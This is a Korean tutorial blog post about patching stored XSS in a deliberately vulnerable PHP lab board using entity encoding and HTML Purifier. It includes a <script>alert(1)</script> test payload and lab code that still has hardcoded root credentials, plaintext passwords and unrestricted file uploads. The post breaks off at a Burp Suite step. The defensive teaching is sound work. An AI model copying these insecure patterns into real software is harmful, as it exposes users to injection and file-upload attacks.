&lt;pre id=&quot;code_1737564621621&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	header(&quot;Content-Type: text/html; charset=UTF-8;&quot;);

	$tb_name = &quot;insecure_board&quot;;
	$upload_path = &quot;upload&quot;;

	function mysql_conn() {
		$host = &quot;127.0.0.1&quot;;
		$id = &quot;root&quot;;
		$pw = &quot;test&quot;;
		$db = &quot;pentest&quot;;
	
		$db_conn = new mysqli($host, $id, $pw, $db);

		return $db_conn;
	}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; common.php 에서&amp;nbsp; xss_html_entity 함수 선언하기 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737564794470&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	header(&quot;Content-Type: text/html; charset=UTF-8;&quot;);

	$tb_name = &quot;insecure_board&quot;;
	$upload_path = &quot;upload&quot;;

	function mysql_conn() {
		$host = &quot;127.0.0.1&quot;;
		$id = &quot;root&quot;;
		$pw = &quot;test&quot;;
		$db = &quot;pentest&quot;;
	
		$db_conn = new mysqli($host, $id, $pw, $db);

		return $db_conn;
	}

	function xss_html_entity($value) {
		$value = str_replace(&quot;&amp;lt;&quot;, &quot;&amp;amp;lt&quot;, $value);
		$value = str_replace(&quot;&amp;gt;&quot;, &quot;&amp;amp;gt&quot;, $value);
		$value = str_replace(&quot;\&quot;&quot;, &quot;&amp;amp;quot&quot;, $value);

		return $value;
	}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 지금 싱글 쿼터 ' 를 굳이 사용하지 않은 상태라면, 싱글 쿼터에 대한 HTML Entity Encoding 은 생략한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글에 글을 작성 후 출력되는 부분이 무엇인지 생각하면서 action.php 각 변수에 xss_html_entity 함수를 적용해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글 작성 모드에서 title(제목), writer(작성자) 변수에만 먼저 xss_html_entiry 함수를 적용시켜본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 의 write(게시글 작성 모드) 소스코드 HTML Entity Encoding 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737615384721&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	@session_start();
	header(&quot;Content-Type: text/html; charset=UTF-8&quot;);
	include ( './common.php' );

	$mode = $_REQUEST[&quot;mode&quot;];
	$db_conn = mysql_conn();
	
	if($mode == &quot;write&quot;) {
		$title = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]));
		$id = $db_conn-&amp;gt;real_escape_string($_SESSION[&quot;id&quot;]);
		$writer = xss_html_entity($db_conn-&amp;gt;real_escape_string($_SESSION[&quot;name&quot;]));
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		$content = $db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]);
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = &quot;&quot;;

		if(empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 저장 후 해커 계정으로 로그인 후 악성 스크립트를 제목에 삽입하여 게시글을 작성해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;840&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MXHVZ/btsLWuhBPPB/SQ6nvWnAH6dGVHKudRklOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MXHVZ/btsLWuhBPPB/SQ6nvWnAH6dGVHKudRklOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MXHVZ/btsLWuhBPPB/SQ6nvWnAH6dGVHKudRklOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMXHVZ%2FbtsLWuhBPPB%2FSQ6nvWnAH6dGVHKudRklOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;821&quot; height=&quot;840&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;840&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글 작성 후 게시글 목록을 확인하니 다음과 같이 악성 스크립트가 그대로 확인되지만, 경고창을 띄우지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;820&quot; data-origin-height=&quot;386&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/owwU0/btsLWuPr3zw/QHHCGv2bRYS7fLM0yUwrk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/owwU0/btsLWuPr3zw/QHHCGv2bRYS7fLM0yUwrk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/owwU0/btsLWuPr3zw/QHHCGv2bRYS7fLM0yUwrk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FowwU0%2FbtsLWuPr3zw%2FQHHCGv2bRYS7fLM0yUwrk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;820&quot; height=&quot;386&quot; data-origin-width=&quot;820&quot; data-origin-height=&quot;386&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 페이지의 소스코드를 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MrLWX/btsLW1TAhm1/fPciboTWdoyOZTYDW7RqCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MrLWX/btsLW1TAhm1/fPciboTWdoyOZTYDW7RqCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MrLWX/btsLW1TAhm1/fPciboTWdoyOZTYDW7RqCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMrLWX%2FbtsLW1TAhm1%2FfPciboTWdoyOZTYDW7RqCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;653&quot; height=&quot;108&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;꺽쇠가 &amp;amp;lt 와 &amp;amp;gt 로 치환된것을 확인할 수 있으며, 그래서 사용자한테는 문자열 그대로 출력된것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 작성 부분은 여러 취약한 부분 중 하나이며, 게시글 수정, 게시글 삭제 등과 같이 다양한 기능에 대해 취약점 존재 유무를 파악하여 각 기능에 맞는 대응 방안을 적용해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 취약점 진단 시 게시글 작성 부분에 테스트해본 다음, 게시글 수정 부분도 테스트해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 작성 부분은 HTML Entity Encoding이 적용되어 있으나, 수정 부분에는 적용되어 있지 않는 경우도 간혹 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 의 modify 부분도 동일하게 적용해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 의 modify(게시글 수정 모드) 소스코드 HTML Entity Encoding 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737616205825&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	} else if($mode == &quot;modify&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$title = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]));
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		$content = $db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]);
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = $_POST[&quot;oldfile&quot;];

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;title(제목) 부분에 xss_html_entity 함수를 적용해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;password(비밀번호)는 굳이 적용해줄 필요는 없다. (사용자에게 출력되는 데이터가 아니기 때문에)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리눅스나 유닉스 환경에서는 파일명에 꺽쇠가 들어갈 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일명에 꺽쇠가 들어가 있으면 게시글 확인 시&amp;nbsp; 파일명이 출력되어 XSS 공격이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 파일명 변수에도 xss_html_entity 함수를 적용해주는 방법이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; DB에 저장할때 안전하게 저장하도록 HTML Entity Encoding을 적용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재는 윈도우 환경이며, DB에 저장되기 전에 에러가 발생하기 때문에 굳이 적용해준 필요는 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리눅스나 유닉스환경에서는 HTML Entity Encoding 을 적용해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;content(게시글 내용) 부분에는 PHP 의 보안 라이브러리(HTML Purifier)를 적용해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://htmlpurifier.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HTML Purifier 홈페이지&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;HTML Purifier 적용 레퍼런스 URL:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;https://gist.github.com/kijin/5829736&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kijin/5829736&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 실습 환경에는 이미 HTML Purifier 가 다운로드 되어 있는 상태이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML Purifier 레퍼런스 링크에 들어가서 코드를 복사해서 common.php 에 붙여넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;xss_html 이라는 함수를 정의하여 해당 코드를 붙여넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; common.php 소스코드에 HTML Purifier 보안 라이브러리 코드 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737703157061&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	header(&quot;Content-Type: text/html; charset=UTF-8;&quot;);

	$tb_name = &quot;insecure_board&quot;;
	$upload_path = &quot;upload&quot;;

	function mysql_conn() {
		$host = &quot;127.0.0.1&quot;;
		$id = &quot;root&quot;;
		$pw = &quot;test&quot;;
		$db = &quot;pentest&quot;;
	
		$db_conn = new mysqli($host, $id, $pw, $db);

		return $db_conn;
	}

	function xss_html_entity($value) {
		$value = str_replace(&quot;&amp;lt;&quot;, &quot;&amp;amp;lt&quot;, $value);
		$value = str_replace(&quot;&amp;gt;&quot;, &quot;&amp;amp;gt&quot;, $value);
		$value = str_replace(&quot;\&quot;&quot;, &quot;&amp;amp;quot&quot;, $value);

		return $value;
	}

	function xss_html($value) {
		// 웹사이트에서 다운받아 적당한 곳에 압축 푸세요.
		require_once('./htmlpurifier/library/HTMLPurifier.auto.php');

		// 기본 설정을 불러온 후 적당히 커스터마이징을 해줍니다.
		$config = HTMLPurifier_Config::createDefault();
		$config-&amp;gt;set('Attr.EnableID', false);
		$config-&amp;gt;set('Attr.DefaultImageAlt', '');

		// 인터넷 주소를 자동으로 링크로 바꿔주는 기능
		$config-&amp;gt;set('AutoFormat.Linkify', true);

		// 이미지 크기 제한 해제 (한국에서 많이 쓰는 웹툰이나 짤방과 호환성 유지를 위해)
		$config-&amp;gt;set('HTML.MaxImgLength', null);
		$config-&amp;gt;set('CSS.MaxImgLength', null);

		// 다른 인코딩 지원 여부는 확인하지 않았습니다. EUC-KR인 경우 iconv로 UTF-8 변환후 사용하시는 게 좋습니다.
		$config-&amp;gt;set('Core.Encoding', 'UTF-8');

		// 필요에 따라 DOCTYPE 바꿔쓰세요.
		$config-&amp;gt;set('HTML.Doctype', 'XHTML 1.0 Transitional');

		// 플래시 삽입 허용
		$config-&amp;gt;set('HTML.FlashAllowFullScreen', true);
		$config-&amp;gt;set('HTML.SafeEmbed', true);
		$config-&amp;gt;set('HTML.SafeIframe', true);
		$config-&amp;gt;set('HTML.SafeObject', true);
		$config-&amp;gt;set('Output.FlashCompat', true);

		// 최근 많이 사용하는 iframe 동영상 삽입 허용
		$config-&amp;gt;set('URI.SafeIframeRegexp', '#^(?:https?:)?//(?:'.implode('|', array(
			'www\\.youtube(?:-nocookie)?\\.com/',
			'maps\\.google\\.com/',
			'player\\.vimeo\\.com/video/',
			'www\\.microsoft\\.com/showcase/video\\.aspx',
			'(?:serviceapi\\.nmv|player\\.music)\\.naver\\.com/',
			'(?:api\\.v|flvs|tvpot|videofarm)\\.daum\\.net/',
			'v\\.nate\\.com/',
			'play\\.mgoon\\.com/',
			'channel\\.pandora\\.tv/',
			'www\\.tagstory\\.com/',
			'play\\.pullbbang\\.com/',
			'tv\\.seoul\\.go\\.kr/',
			'ucc\\.tlatlago\\.com/',
			'vodmall\\.imbc\\.com/',
			'www\\.musicshake\\.com/',
			'www\\.afreeca\\.com/player/Player\\.swf',
			'static\\.plaync\\.co\\.kr/',
			'video\\.interest\\.me/',
			'player\\.mnet\\.com/',
			'sbsplayer\\.sbs\\.co\\.kr/',
			'img\\.lifestyler\\.co\\.kr/',
			'c\\.brightcove\\.com/',
			'www\\.slideshare\\.net/',
		)).')#');

		// 설정을 저장하고 필터링 라이브러리 초기화
		$purifier = new HTMLPurifier($config);

		// HTML 필터링 실행
		$html = $purifier-&amp;gt;purify($value);

		return $html;
	}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일부 코드는 실습 환경에 맞게 약간의 변경이 필요하다. (경로, value 변수 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 action.php 의 wrtie(게시글 작성), modify(게시글 수정) 부분의 각 content 변수에 xss_html 함수를 적용해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 소스코드 xss_html 함수 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737703353813&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	@session_start();
	header(&quot;Content-Type: text/html; charset=UTF-8&quot;);
	include ( './common.php' );

	$mode = $_REQUEST[&quot;mode&quot;];
	$db_conn = mysql_conn();
	
	if($mode == &quot;write&quot;) {
		$title = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]));
		$id = $db_conn-&amp;gt;real_escape_string($_SESSION[&quot;id&quot;]);
		$writer = xss_html_entity($db_conn-&amp;gt;real_escape_string($_SESSION[&quot;name&quot;]));
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		$content = xss_html($db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]));
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = &quot;&quot;;

		if(empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}   
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}
		
		$uploadFile = $db_conn-&amp;gt;real_escape_string($uploadFile);
		$content = str_replace(&quot;\r\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		
		$query = &quot;insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())&quot;;
		$db_conn-&amp;gt;query($query);
	} else if($mode == &quot;modify&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$title = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]));
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		$content = xss_html($db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]));
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = $_POST[&quot;oldfile&quot;];

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!is_numeric($idx)) {
			echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}		

		# Password Check Logic
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}
		
		$content = str_replace(&quot;\r\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		$uploadFile = $db_conn-&amp;gt;real_escape_string($uploadFile);

		$query = &quot;update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	} else if($mode == &quot;delete&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);

		if(!is_numeric($idx)) {
			echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}				
		
		# Password Check Logic
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
		
		$query = &quot;delete from {$tb_name} where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	}

	echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
	$db_conn-&amp;gt;close();
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드에 xss_html 함수 적용 후, 기존에 악성 스크립트를 작성했던 게시글을 수정해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;853&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sNRgN/btsL1jdZjxI/3OtR7CtS9xPXi1iyjQwcD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sNRgN/btsL1jdZjxI/3OtR7CtS9xPXi1iyjQwcD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sNRgN/btsL1jdZjxI/3OtR7CtS9xPXi1iyjQwcD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsNRgN%2FbtsL1jdZjxI%2F3OtR7CtS9xPXi1iyjQwcD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;853&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;853&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 수정 후 해당 게시글을 확인하면 악성 스크립트는 실행되지 않았으나 HTML 태그는 사용이 가능한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;683&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvMnmW/btsLZ4Jih24/QOlQfjZ6AHjMibJsFVBYBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvMnmW/btsLZ4Jih24/QOlQfjZ6AHjMibJsFVBYBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvMnmW/btsLZ4Jih24/QOlQfjZ6AHjMibJsFVBYBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvMnmW%2FbtsLZ4Jih24%2FQOlQfjZ6AHjMibJsFVBYBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;937&quot; height=&quot;683&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;683&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 페이지의 소스코드를 확인하면 다음과 같이 보안 라이브러리가 적용되어 스크립트가 필터링된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;576&quot; data-origin-height=&quot;353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1N61E/btsL0WKmFzs/cP4a8Ptap73OU2pLSH2e3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1N61E/btsL0WKmFzs/cP4a8Ptap73OU2pLSH2e3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1N61E/btsL0WKmFzs/cP4a8Ptap73OU2pLSH2e3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1N61E%2FbtsL0WKmFzs%2FcP4a8Ptap73OU2pLSH2e3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;576&quot; height=&quot;353&quot; data-origin-width=&quot;576&quot; data-origin-height=&quot;353&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 게시글 수정(modify)에서 파일명에 악성 스크립트를 삽입하게 되면 그대로 출력하게 되는 취약점이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 켜고 Intercept on 후 게시글 비밀번호를 입력 후, modify 버튼을 클릭한다.&lt;/p&gt;
